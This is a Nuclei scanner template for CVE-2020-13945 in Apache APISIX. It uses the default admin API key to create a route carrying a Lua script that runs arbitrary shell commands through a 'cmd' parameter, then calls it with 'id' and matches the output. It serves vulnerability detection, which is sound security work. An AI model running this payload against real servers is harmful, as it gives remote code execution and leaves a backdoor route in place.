66 lines
2.1 KiB
YAML
66 lines
2.1 KiB
YAML
id: CVE-2020-13945
|
|
|
|
info:
|
|
name: Apache APISIX - Insufficiently Protected Credentials
|
|
author: pdteam
|
|
severity: medium
|
|
description: Apache APISIX 1.2, 1.3, 1.4, and 1.5 is susceptible to insufficiently protected credentials. An attacker can enable the Admin API and delete the Admin API access IP restriction rules. Eventually, the default token is allowed to access APISIX management data.
|
|
reference:
|
|
- https://github.com/vulhub/vulhub/tree/master/apisix/CVE-2020-13945
|
|
- https://lists.apache.org/thread.html/r792feb29964067a4108f53e8579a1e9bd1c8b5b9bc95618c814faf2f%40%3Cdev.apisix.apache.org%3E
|
|
- http://packetstormsecurity.com/files/166228/Apache-APISIX-Remote-Code-Execution.html
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2020-13945
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
|
|
cvss-score: 6.5
|
|
cve-id: CVE-2020-13945
|
|
cwe-id: CWE-522
|
|
cpe: cpe:2.3:a:apache:apisix:*:*:*:*:*:*:*:*
|
|
epss-score: 0.00598
|
|
tags: intrusive,vulhub,packetstorm,cve,cve2020,apache,apisix
|
|
metadata:
|
|
max-request: 2
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /apisix/admin/routes HTTP/1.1
|
|
Host: {{Hostname}}
|
|
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
|
|
Content-Type: application/json
|
|
|
|
{
|
|
"uri":"/{{randstr}}",
|
|
"script":"local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close() \n end \nreturn _M",
|
|
"upstream":{
|
|
"type":"roundrobin",
|
|
"nodes":{
|
|
"interact.sh:80":1
|
|
}
|
|
}
|
|
}
|
|
|
|
- |
|
|
GET /{{randstr}}?cmd=id HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- '"action":"create"'
|
|
- '"script":'
|
|
- '"node":'
|
|
condition: and
|
|
|
|
- type: status
|
|
status:
|
|
- 201
|
|
|
|
extractors:
|
|
- type: regex
|
|
regex:
|
|
- "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"
|
|
|
|
# Enhanced by mp on 2022/10/06
|